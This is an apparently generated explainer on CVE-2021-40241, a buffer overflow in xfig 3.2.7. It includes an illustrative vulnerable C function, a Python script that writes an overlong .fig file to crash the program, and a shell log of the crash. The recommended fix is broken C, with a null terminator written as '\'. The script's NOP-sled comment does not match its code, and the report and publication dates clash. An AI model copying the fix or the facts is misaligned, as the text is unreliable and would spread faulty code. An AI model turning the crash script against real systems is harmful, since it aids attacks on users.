*Last updated June 2024*

Introduction

In September 2021, a new vulnerability was reported affecting the popular vector graphics editor xfig, specifically version 3.2.7. Labeled as CVE-2021-40241, this flaw is a classic *buffer overflow* issue that could allow an attacker to crash the application or potentially execute malicious code. In this post, we'll break down what this vulnerability means, how it works, provide a code snippet illustrating the issue, and offer details on exploitation—using clear, accessible language.

What is xfig?

xfig is an open-source drawing tool often used on UNIX systems for creating diagrams and illustrations. It's been around for decades and is still bundled with many Linux distributions.

What is CVE-2021-40241?

This Common Vulnerabilities and Exposures (*CVE*) identifier highlights a bug in xfig 3.2.7. Put simply, xfig fails to properly validate certain input, allowing too much data to be copied into fixed-size memory, which can overwrite other parts of the program's memory. That’s a buffer overflow.

How bad is it?

Depending on how the overflow is triggered, it can crash xfig or, with enough skill, be abused to run any code the attacker wants—in the worst case, this could compromise your system.

Original Advisory

- Debian Security Advisory DSA-4965-1
- CVE Details

Where’s the Problem in the Code?

The issue happens when xfig processes figure files (with .fig extension). Suppose you open a specially crafted .fig file. In the code, xfig uses strcpy() or similar functions on data from this file, but doesn't check if the length of that data is safe.

Here’s a simplified version of the problematic code (adapted for easy reading)

// Vulnerable function adapting logic found in xfig
void read_figure(FILE *file) {
    char buffer[256];
    char line[1024];
    while (fgets(line, sizeof(line), file)) {
        // The bug: careless copying of 'line' into smaller 'buffer'
        strcpy(buffer, line); // NO length checks!
        // ... process buffer ...
    }
}

What's wrong here?

.fig files can include lines longer than 255 characters. When strcpy() copies more than 256 bytes into buffer, it writes past the end, corrupting other memory.

Craft a Malicious Figure (.fig) File

The attacker creates a .fig file with a line over 256 characters, deliberately designed to overflow the buffer and overwrite nearby memory.

Trigger the Crash or Exploit

When xfig opens the file, its vulnerable code gets triggered. If the payload is carefully crafted, it could execute code—such as opening a reverse shell.

Here's a Python script to generate a dangerous .fig file

# exploit_fig.py
with open("exploit.fig", "w") as f:
    # Example of an overly long line with NOP sled (real exploit would be more complex)
    f.write("FIG 3.2  Produced by exploit\n")
    f.write("2 " + "A" * 300 + "\n")  # 300 'A's cause overflow


Opening exploit.fig crashes unpatched xfig 3.2.7—and with skill, could do more.

Imagine this workflow

$ python3 exploit_fig.py
$ xfig exploit.fig
Segmentation fault (core dumped)

That segmentation fault is your clue that the program’s memory is corrupted—meaning you've reached the buffer overflow!

Mitigation and Patch

The developers have addressed this bug by replacing strcpy with a safer function like strncpy, and by validating input sizes before copying data.

Safe code snippet

strncpy(buffer, line, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\'; // ensure null-termination

More Resources

- Debian Patch for CVE-2021-40241
- NIST Entry for CVE-2021-40241
- xfig Home Page

Wrapping Up

CVE-2021-40241 is a textbook buffer overflow flaw that reminds us of the risks in even the oldest, most trusted software. If you use xfig, make sure you’re updated. And if you’re writing software, learn from this: *always check your input lengths!*  
Stay safe, and keep your toolchains tight!


*Written exclusively for this request – June 2024. Please credit if sharing.*

Timeline

Published on: 10/31/2022 16:15:00 UTC
Last modified on: 11/01/2022 14:08:00 UTC